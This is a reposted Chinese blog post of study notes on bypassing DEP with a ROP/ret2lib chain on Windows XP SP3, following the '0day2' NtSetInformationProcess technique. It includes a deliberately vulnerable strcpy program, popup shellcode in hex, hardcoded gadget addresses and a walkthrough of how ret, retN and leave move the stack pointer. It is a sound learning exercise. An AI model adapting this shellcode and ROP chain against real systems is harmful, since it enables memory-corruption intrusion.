码迷,mamicode.com
首页 > 其他好文 > 详细

ret2lib bypass dep 学习笔记(0day2Edition NtSetInformationProcess)

时间:2015-04-22 09:40:56      阅读:295      评论:0      收藏:0      [点我收藏+]

标签:rop

DEP绕过ROP(ret2lib)技术总结

样本空间

测试环境

  • 操作系统:windows xp sp3
  • 工具:immunity debugger

mona可以自动生成rop链,但是有些链还需要修改,所以本文就从原理上讲了下链的形成。

样本源码:

 #include <stdio.h>
 #include <string.h>
 #include <windows.h>

 char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
"\x90\x90\x90\x90"
"\x52\xe2\x92\x7c"  
"\x02\x07\x76\x7d"
"\x55\x54\x19\x77"
"\xff\xb9\xd3\x7d"
"\x24\xcd\x93\x7c"
"\xe9\x3b\xff\xff\xff"
"\x90\x90\x90"
;
 void test(char* input)
 {
 char buf[168];
 strcpy(buf,input);  
 }

 int main(int argc, char* v[])
 {
 LoadLibrary("shell32.dll");  
 test(shellcode);
 return 0;
 }

“\x90\x90\x90\x90” 1
“\x52\xe2\x92\x7c” 2 mov eax,1 ret (EIP)
“\x02\x07\x76\x7d” 3 push esp,pop ebp,ret4 (EIP)
“\x55\x54\x19\x77” 4 ret28 (EIP)
“\xff\xb9\xd3\x7d” 5 jmp esp (EIP)
“\x24\xcd\x93\x7c” 6 EntryOfCloseDep (leave and ret4)
“\xe9\x3b\xff\xff\xff” 7 alreay stackExc,just jmp to the payload.
“\x90\x90\x90”

执行顺序: 2->3->4->6->5->7
实验如果按照这些代码去做,即使非常绕,也能做出来效果,但是要说明的问题很多,这些都是关于rop编写的例子:

ret的影响范围:

0x00 最简单的ret没有带数字,eip内的操作分别为mov eax,1 ret; mov ebx,1 ret; mov ecx,1,ret; mov edx,1,ret;..

eip1 (其他内存页指令,不包含对栈的操作,或者栈平衡,不会影响到esp,ebp原值,ret)
eip2 (其他内存页指令,不包含对栈的操作,或者栈平衡,不会影响到esp,ebp原值,ret)
eip3 。。。
eip4 。。。
eip5 (其他内存页指令,不包含对栈的操作,或者栈平衡,不会影响到esp,ebp原值,ret)

那么函数返回后的执行顺序就是eip1(&rop1),eip2(&rop2),eip3(&rop3),eip4(&rop4),eip5(&rop5)…

函数的返回标志只有ret一个,所以可以认为函数的ret开启了rop链。当执行到ret时,会将栈顶元素弹出到eip中,也就是说,在上述描述过程中,eip1执行时,栈内为(eip2-5),eip2执行时,栈内为(eip3-5),eip3执行时,栈内为(eip4-5)。。注意在此过程中,ebp没有改变,esp一直在减。

0x01 retN个数,以ret4为例。

eip1 (mov eax,1 ret)
eip2 (mov ebx,1 ret4)
eip3 (mov ecx,1 ret)
eip4 (mov edx,1 ret)
eip5 (mov esi,1 ret)

指令的执行顺序又会是怎样:
eip1->eip2->eip3->eip5 , eip4不见了,出现了偏移。
为什么eip2 明明是(mov ebx,1 ret4),而eip3会执行,不是esp已经偏移为8了嘛,eip4不会执行?

这样理解:retN指令在执行过程中是:ret(pop eip)后,再sub esp,N
所以rop链中出现retN,那么影响的不是下一条指令,而是下下一条指令。offset值为N/4.

“\x90\x90\x90\x90” 1
“\x52\xe2\x92\x7c”2 mov eax,1 ret
“\x02\x07\x76\x7d” *3*push esp,pop ebp,ret4
“\x55\x54\x19\x77”4 ret28
“\xff\xb9\xd3\x7d” 5 jmp esp
“\x24\xcd\x93\x7c” 6 EntryOfCloseDep
“\xe9\x3b\xff\xff\xff”*7*alreay stackExc,just jmp to the payload.
“\x90\x90\x90”

还是来看这条rop链。首先函数ret时栈为2-7.2执行完毕之后,ret将3弹出到eip中,所以3执行。3执行完毕之后,先ret ,所以4会执行,在4未开始的时候,又sub esp,4了所以,4开始的时候esp指向6.

怎么分析,ret4分为两步,先将esp的值弹出到eip中,所以eip中为4,但是4还没有执行,esp先得再sub esp,4后,4才会执行。

所以应该是这样的:

ret -pop eip, then eip execute:
ret4->pop eip, sub esp,4 then eip execute:

ret28->pop eip,sub esp,28 then eip execute.
顺序很重要,不是pop eip,eip开始执行,然后sub esp,28.
要不然很乱的。

比如3中,看到ret4 就会想到esp减8,正好到5上,所以5会执行。
有两处错误:不是先sub,后ret.一个ret等于sub esp,4.但是它又和sub esp,4不同就是它先压栈。而是先ret后sub。
第二处错误是ret4时,esp会指向5,不是5,是6.为什么。因为3执行时(3以上面的ret开始),此时栈中为4,而不是3开始。即执行ret4的时候,esp已经执行4了。

怎么说呢,就是当eip执行时,栈永远在它的下方,而不是和它平齐,一般push pop操作平衡的话。

分析的时候思路为eip执行前,eip执行到ret时,eip执行ret后。下一个eip要开始执行时的栈结构。

偏移对我来说真的很痛苦。

因为栈操作和ret需要一直跟进esp,所以看到ret28就很头痛。但是最终看0day2第一个bypass dep的时候,发现在函数ret前有个leave指令。
这个leave指令真的是谢天谢地的恩人。所以,即使当时ret40000了(夸张),但是当leave时,会mov esp,ebp.所以这时候看ebp就可以了。
之前使用的是push esp ,pop ebp. ret。那么此时esp(new)就是ebp-4.因为leave还要pop ebp,此时ebp变了。但是只要在esp之后就行了。
回头来看,esp此时就是3执行时候的esp,所以是指向了4.但是还没有pop ebp,所以esp又变成了5.执行5开始时,6操作的ret带了4.所以esp还得再减4,esp指向了7.因此jmp esp可以到7.
执行7的时候已经在栈上了,此时dep已经关闭了,就可以跳转了。

0x02
总结如下:
- 1. retN = pop eip&sub esp,4 ; sub esp,N ;then eip start.
- 2. 当N为0,即ret时,为pop eip &(sub esp,4) then eip start.
- 3. leave = mov esp,ebp (所以esp随便调配,只要ebp记录了当时为了不影响压栈时的esp值(push esp,pop ebp)) && pop ebp
- 4. 分析rop链时,应该这样分析: 指令开始时,esp在哪里。(指令开始,即此时eip已经被弹出)
- 5. retN是先弹eip后sub,不是先sub后弹eip。

ret2lib bypass dep 学习笔记(0day2Edition NtSetInformationProcess)

标签:rop

原文地址:http://blog.csdn.net/bugmeout/article/details/45178179

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!